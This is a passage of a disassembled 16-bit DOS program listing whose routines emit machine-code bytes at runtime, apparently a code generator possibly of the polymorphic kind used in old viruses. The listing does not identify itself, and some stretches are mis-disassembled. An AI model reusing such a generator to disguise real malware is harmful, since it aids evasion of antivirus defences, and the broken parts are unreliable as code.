jb loc_ret_80 ; Jump if below
push ax
push bx
call sub_34 ; (06AB)
pop bx
mov bl,bh
push dx
call sub_34 ; (06AB)
xchg ax,bx
pop cx
pop bx
mov dh,[bx]
sub dh,0Dh
jz loc_76 ; Jump if zero
add dh,7
jnz loc_77 ; Jump if not zero
loc_76:
mov [di+3],dh
mov [di-0Eh],dh
jmp short loc_79 ; (0705)
loc_77:
cmp dh,5
jae loc_79 ; Jump if above or =
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
sub_35:
or dl,dl ; Zero ?
jnz loc_78 ; Jump if not zero
cmp dl,[di-1Dh]
je loc_79 ; Jump if equal
sub al,0Eh
and al,0Fh
cmp al,5
jae loc_78 ; Jump if above or =
cmp al,2
jae loc_79 ; Jump if above or =
cmp dh,3
jb loc_79 ; Jump if below
loc_78:
mov [di-0Fh],bh
mov dl,80h
loc_79:
or dl,cl
and dl,80h
or dl,[bx]
mov [bx],dl
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
sub_36:
loc_ret_80:
retn
sub_34 endp
call sub_38 ; (0720)
call sub_37 ; (0715)
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_37 proc near
and al,7
jz loc_83 ; Jump if zero
xor al,al ; Zero register
cmp al,[si+3]
je loc_83 ; Jump if equal
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
sub_38:
loc_81:
call sub_39 ; (0723)
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
sub_39:
and al,3
jnz loc_82 ; Jump if not zero
mov al,7
loc_82:
xor al,4
loc_83:
cbw ; Convrt byte to word
mov bx,ax
xchg bh,[bx+si-8]
or bh,bh ; Zero ?
jz loc_81 ; Jump if zero
stosb ; Store al to es:[di]
loc_ret_84:
retn
sub_37 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_40 proc near
mov word ptr [si+2],80FFh
xor bh,bh ; Zero register
mov al,[bx]
and ax,7Fh
shl bl,1 ; Shift w/zeros fill
mov dx,0FF00h
dec ax
jz loc_ret_84 ; Jump if zero
mov dh,[si]
dec ax
jz loc_ret_84 ; Jump if zero
mov dx,[bx+21h]
js loc_ret_84 ; Jump if sign=1
push ax
push dx
push bx
mov bl,dh
call sub_40 ; (0737)
pop bx
pop cx
pop ax
cmp al,0Ch
jne loc_89 ; Jump if not equal
or dl,dl ; Zero ?
jnz loc_ret_84 ; Jump if not zero
cmp dh,[si]
je loc_ret_84 ; Jump if equal
push ax
push cx
push bx
push dx
call sub_43 ; (0981)
pop dx
mov ax,[si+1]
cmp dh,al
jne loc_85 ; Jump if not equal
or ah,ah ; Zero ?
jz loc_86 ; Jump if zero
loc_85:
mov bl,85h
call sub_18 ; (0447)
loc_86:
pop bx
mov al,75h ; 'u'
stosb ; Store al to es:[di]
inc bp
jz loc_88 ; Jump if zero
cmp di,data_15e ; (5F44:0359=0FFh)
jb loc_87 ; Jump if below
add byte ptr [di-1],57h ; 'W'
loc_87:
mov ax,di
xchg ax,[bx+63h]
mov ds:data_12e[bx],ax ; (5F44:00E7=0FFFFh)
loc_88:
dec bp
inc di
mov dx,di
jmp short loc_96 ; (080D)
loc_89:
push ax
push cx
or dl,dl ; Zero ?
jnz loc_96 ; Jump if not zero
cmp dh,[si+1]
jne loc_96 ; Jump if not equal
mov al,[si+3]
or al,al ; Zero ?
js loc_91 ; Jump if sign=1
and al,7
jz loc_90 ; Jump if zero
cmp al,[si]
je loc_91 ; Jump if equal
cmp al,3
jb loc_91 ; Jump if below
loc_90:
xor byte ptr [di-2],2
test byte ptr [si+3],40h ; '@'
jz loc_94 ; Jump if zero
push ax
or al,0D8h
mov ah,al
mov al,0F7h
stosw ; Store ax to es:[di]
pop ax
jmp short loc_94 ; (0807)
loc_91:
call sub_41 ; (07DA)
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
sub_41:
mov cx,8
loc_92:
push ax
mov al,dh
or al,50h ; 'P'
stosb ; Store al to es:[di]
pop ax
mov bl,80h
jcxz loc_95 ; Jump if cx=0
dec di
dec cx
inc ax
and al,7
cbw ; Convrt byte to word
mov bx,ax
mov ah,[bx+si-8]
or ah,ah ; Zero ?
jz loc_92 ; Jump if zero
dec bx
jnz loc_93 ; Jump if not zero
pop bx
push bx
xor bh,bh ; Zero register
mov ah,[bx]
or ah,ah ; Zero ?
js loc_92 ; Jump if sign=1
loc_93:
;* call sub_44 ;*(0984)
db 0E8h, 7Dh, 01h
loc_94:
xchg ax,bx
inc byte ptr [bx+si-8]
loc_95:
mov dh,bl
loc_96:
pop bx
push dx
call sub_40 ; (0737)
call sub_43 ; (0981)
pop dx
pop ax
mov byte ptr [si+3],80h
cmp al,0Ch
jne loc_97 ; Jump if not equal
mov bx,dx
mov dx,di
sub dx,bx
mov [bx-1],dl
;* jmp loc_122 ;*(094D)
db 0E9h, 22h, 01h
loc_97:
mov ch,ah
push ax
or dl,dl ; Zero ?
jnz loc_100 ; Jump if not zero
cmp dh,80h
jne loc_99 ; Jump if not equal
sub al,5
cmp al,4
mov al,1
jc loc_98 ; Jump if carry Set
inc ax
loc_98:
mov dh,al
or al,58h ; 'X'
stosb ; Store al to es:[di]
jmp short loc_100 ; (0856)
loc_99:
or dh,dh ; Zero ?
js loc_100 ; Jump if sign=1
cmp dh,[si]
je loc_100 ; Jump if equal
mov bl,dh
xor bh,bh ; Zero register
dec byte ptr [bx+si-8]
loc_100:
pop ax
mov bl,0Bh
sub al,9
jz loc_101 ; Jump if zero
mov bl,23h ; '#'
dec ax
jz loc_101 ; Jump if zero
add al,6
cbw ; Convrt byte to word
jns loc_109 ; Jump if not sign
mov bl,33h ; '3'
inc ax
jz loc_101 ; Jump if zero
mov bl,3
jp loc_101 ; Jump if parity=1
mov bl,2Bh ; '+'
loc_101:
mov al,[si+1]
or dl,dl ; Zero ?
jnz loc_104 ; Jump if not zero
and dh,87h
cmp bl,2Bh ; '+'
jne loc_102 ; Jump if not equal
or dh,40h ; '@'
loc_102:
mov [si+3],dh
loc_103:
;* call sub_12 ;*(03D2)
db 0E8h, 48h,0FBh
jnc loc_116 ; Jump if carry=0
or al,al ; Zero ?
jz loc_104 ; Jump if zero
inc bp
loc_104:
xor bl,6
push dx
inc dx
inc dx
cmp dx,5
pop dx
jnc loc_113 ; Jump if carry=0
or ax,ax ; Zero ?
js loc_106 ; Jump if sign=1
cmp bl,35h ; '5'
jne loc_113 ; Jump if not equal
inc dx
jnz loc_112 ; Jump if not zero
mov dh,al
mov al,2
loc_105:
mov bl,0F7h
mov ch,bl
jmp short loc_103 ; (0887)
loc_106:
or dx,dx ; Zero ?
jns loc_107 ; Jump if not sign
neg dx
xor bl,28h ; '('
loc_107:
or al,40h ; '@'
cmp bl,5
je loc_108 ; Jump if equal
or al,8
loc_108:
stosb ; Store al to es:[di]
dec dx
jz loc_116 ; Jump if zero
stosb ; Store al to es:[di]
jmp short loc_116 ; (08FD)
loc_109:
mov cl,4
jnz loc_117 ; Jump if not zero
loc_110:
or dl,dl ; Zero ?
jz loc_111 ; Jump if zero
mov ax,2BAh
stosb ; Store al to es:[di]
xchg ax,dx
stosw ; Store ax to es:[di]
loc_111:
xchg ax,cx
jmp short loc_105 ; (08AD)
loc_112:
dec dx
loc_113:
or al,al ; Zero ?
jz loc_115 ; Jump if zero
and bl,38h ; '8'
or al,0C0h
or bl,al
mov al,dl
cbw ; Convrt byte to word
xor ax,dx
mov al,81h
jnz loc_114 ; Jump if not zero
mov al,83h
stc ; Set carry flag
loc_114:
stosb ; Store al to es:[di]
loc_115:
xchg ax,bx
stosb ; Store al to es:[di]
xchg ax,dx
stosw ; Store ax to es:[di]
jnc loc_116 ; Jump if carry=0
dec di
loc_116:
;* jmp short loc_121 ;*(094A)
db 0EBh, 4Bh
loc_117:
inc cx
cmp al,7
je loc_110 ; Jump if equal
inc ax
cmp al,4
pushf ; Push flags
jnc loc_118 ; Jump if carry=0
sub al,2
loc_118:
or dl,dl ; Zero ?
;* jnz loc_123 ;*Jump if not zero
db 75h, 43h
push ax
mov al,1
mov bl,8Ah
mov ch,bl
cmp dh,3
je loc_119 ; Jump if equal
inc bx
loc_119:
;* call sub_15 ;*(0424)
db 0E8h, 04h,0FBh
pop ax
popf ; Pop flags
push ax
jc loc_120 ; Jump if carry Set
mov ax,1F80h
test ah,[si-1Dh]
jz loc_120 ; Jump if zero
stosb ; Store al to es:[di]
mov al,0E1h
stosw ; Store ax to es:[di]
loc_120:
pop ax
mov bl,0D3h
mov dl,1
les bx,dword ptr [si+1Ah] ; Load 32 bit ptr
nop ;*ASM fixup - displacement
test al,[bx+16h]
add [bp+si],ax
test bl,dl
push ss
add [bp+si],ax
test ax,ax
push ss
add [bp+si],ax
test cx,si
push ss
add [bp+si],ax
xchg al,ds:data_13e[di] ; (5F44:0116=0FFh)
add al,[bx+di]
mov al,ds:data_11e ; (5F44:0071=0FFh)
add di,ax
pop es
loc_125:
mov dh,[si+1]
;* call sub_20 ;*(046B)
db 0E8h, 0Bh,0FBh
xchg ax,dx
cmp bl,0C1h
je loc_126 ; Jump if equal
shr al,1 ; Shift w/zeros fill
jc loc_127 ; Jump if carry Set
xchg ax,bx
stosb ; Store al to es:[di]
xchg ax,dx
loc_126:
stosb ; Store al to es:[di]
loc_127:
mov [si+2],ch
loc_128:
mov dh,[si+1]
xor dl,dl ; Zero register
retn
sub_40 endp
mov bl,0C1h
popf ; Pop flags
jnc loc_129 ; Jump if carry=0
mov ch,bl
test dl,8
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_43 proc near
jz loc_129 ; Jump if zero
neg dl
xor al,1
loc_129:
and dl,0Fh
jz loc_128 ; Jump if zero
cmp dl,1
je loc_130 ; Jump if equal
cmp ah,[si-1Dh]
je loc_125 ; Jump if equal
loc_130:
mov bl,0D1h
cmp dl,3
jb loc_125 ; Jump if below
push ax
mov al,0B1h
mov ah,dl
stosw ; Store ax to es:[di]
;* jmp short loc_124 ;*(0955)
sub_43 endp
db 0EBh,0B0h
mov al,[si+1]
cbw ; Convrt byte to word
push ax
cmp di,359h
jae loc_131 ; Jump if above or =
mov bx,ax
mov [bx+si-10h],bh
loc_131:
or dl,dl ; Zero ?
jnz loc_132 ; Jump if not zero
mov bl,8Bh
call sub_17 ; (0444)
jnc loc_133 ; Jump if carry=0
loc_132:
or al,0B8h
stosb ; Store al to es:[di]
xchg ax,dx
stosw ; Store ax to es:[di]
loc_133:
pop ax
retn
db 0A2h, 8Ah, 02h, 00h, 00h, 74h
seg_a ends
end start